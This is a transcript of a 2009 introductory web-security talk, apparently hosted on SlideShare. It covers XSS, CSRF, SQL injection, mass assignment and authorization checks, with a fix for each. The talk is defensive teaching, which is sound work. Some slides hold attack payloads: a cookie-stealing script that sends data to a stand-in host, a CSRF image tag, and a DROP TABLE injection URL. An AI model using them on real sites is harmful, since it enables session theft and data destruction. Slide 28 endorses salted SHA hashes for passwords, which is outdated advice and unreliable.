2009 Barcamp Nashville Web Security 101

Loading...

Flash Player 9 (or above) is needed to view presentations.
We have detected that you do not have it on your computer. To install it, go here.

0 comments

Post a comment

    Post a comment
    Embed Video
    Edit your comment Cancel

    Favorites, Groups & Events

    2009 Barcamp Nashville Web Security 101 - Presentation Transcript

    1. Web Security 101
    2. Who is this guy? Brian Dailey realm3 web applications
    3. Security is serious.
    4. Even when you might think it's not.
    5. TRUST ME Security is all about trust.
    6. Physical Network Server Application
    7. XSS The user believes you are this guy: But this guy is really watching:
    8. XSS: Methods Non-persistent: Entice user to load page (either by clicking a link or a hidden frame) and inject client-side script. Persistent: Save to the database and get users to load the page with the client-side script.
    9. XSS Give me back my session! <script> document.write('<img src=” http://my.hacker.com/ me.php?cookie=' + document.cookie + '” width=”1” height=”1” />'); </script>
    10. XSS Another example: Embed a form that captures a saved password, collect it. If you can inject Javascript or HTML, you can do all sorts of nefarious things.
    11. XSS Prevention Always Escape Output How you escape depends upon context.
      • URL Encoded
      • HTML Entities
      • White listing HTML tags (black listing is tricky!)
    12. CSRF (Cross-site Request Forgery) Exploit server's trust of user.
    13. CSRF You think this is your user: But really it is:
    14. CSRF Example: <img src=” http://your.site.com/addtocart.php?item-id=12&ship_to=l33t_haxor ” height=”1” width=”1” /> Works especially well with GET requests, but using POST is not a surefire way to prevent this.
    15. CSRF Prevention Techniques Authorize each user action. Don't use GET when modifying data.
    16. SQL Injection
    17. SQL Injection String sql = “SELECT * FROM users WHERE name LIKE '%” + name + “'”; http://www.subgenius.com/person.jsp?name=foobar ”;+DROP+TABLE+USERS--
    18. SQL Injection Prevention This one is pretty easy: use parameterized statements. (You could also escape control characters, but there are issues with that.) String sql = &quot;SELECT * FROM users WHERE name LIKE ?&quot;; java.sql.PreparedStatement stmt = Conn.prepareStatement(sql); stmt.setString(1, request.getParameter(&quot;name&quot;));
    19. Frameworks are helpful.
    20. They can come with their own set of issues.
    21. Mass Assignment
    22. Mass Assignment Rails Example: @user = User.find(current_user.id) @user.update_attributes(params[:user]) If I POST user[is_admin] = 1 W00t! I pwned u! Fix by using attr_accessible (in model) or by whitelisting. http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide
    23. Mass Assignment Symfony: If you're using Forms, you're not vulnerable. (Kudos to Symfony.) CakePHP: # Anything about $this->data could be changed! # This makes me sad. $this->Post->save($this->data);
    24. Ownership
    25. Ownership Authorization Rails: # bad @post = Post.find(params[:id]) # good @post = current_user.posts.find(params[:id])
    26. Ownership Authorization CakePHP: // bad $post = $this->Post->findById($id); // good $post = $this->Post->find( array('conditions' => array( 'id' => $id, 'user_id' => $this->Auth->user('id'), ) );
    27. Ownership Authorization Symfony: // bad $post = Doctrine::getTable('Post')->find($id); // good $post = Doctrine_Query::create() ->select('*') ->from('Post p') ->where('p.id = ?', $id) ->where('p.user_id = ?', $user_id );
    28. Other Considerations > Rate limit user login attempts to prevent brute-force attacks. + Use caching (memcache) to track attempts. > Always apply hash to user passwords + Md5 is no good, use Sha1, Sha256 & Salt Useful Resources Potential Attacks Overview (OWASP has a ton of info!) http://www.owasp.org/index.php/Category:Attack Google Code University on Web Security http://code.google.com/edu/security/index.html Rails Security Guide http://www.quarkruby.com/2007/9/20/ruby-on-rails-security-guide
    29. Wrapping Things Up DO: Assume that users can be malicious. Assume that your data is important (it should be!) DON'T: Assume your framework handles all security concerns. Assume your application is “unbreakable.”
    30. Thanks! Any questions? Brian Dailey realm3 web applications Web: http://realm3.com/ Twitter: @brian_dailey Email: brian@realm3.com/ Phone: 917-512-3594 slide-bg: http://bit.ly/xc0m1 Kudos to: http://asi9.net/
    SlideShare Zeitgeist 2009

    + brian_daileybrian_dailey Nominate

    custom

    63 views, 0 favs, 1 embeds more stats

    A super-brief (25 minute) talk on the basics of web more

    More info about this document

    © All Rights Reserved

    Go to text version

    • Total Views 63
      • 60 on SlideShare
      • 3 from embeds
    • Comments 0
    • Favorites 0
    • Downloads 1
    Most viewed embeds
    • 3 views on http://realm3.com

    more

    All embeds
    • 3 views on http://realm3.com

    less

    Flagged as inappropriate Flag as inappropriate
    Flag as inappropriate

    Select your reason for flagging this presentation as inappropriate. If needed, use the feedback form to let us know more details.

    Cancel
    File a copyright complaint
    Having problems? Go to our helpdesk?

    Categories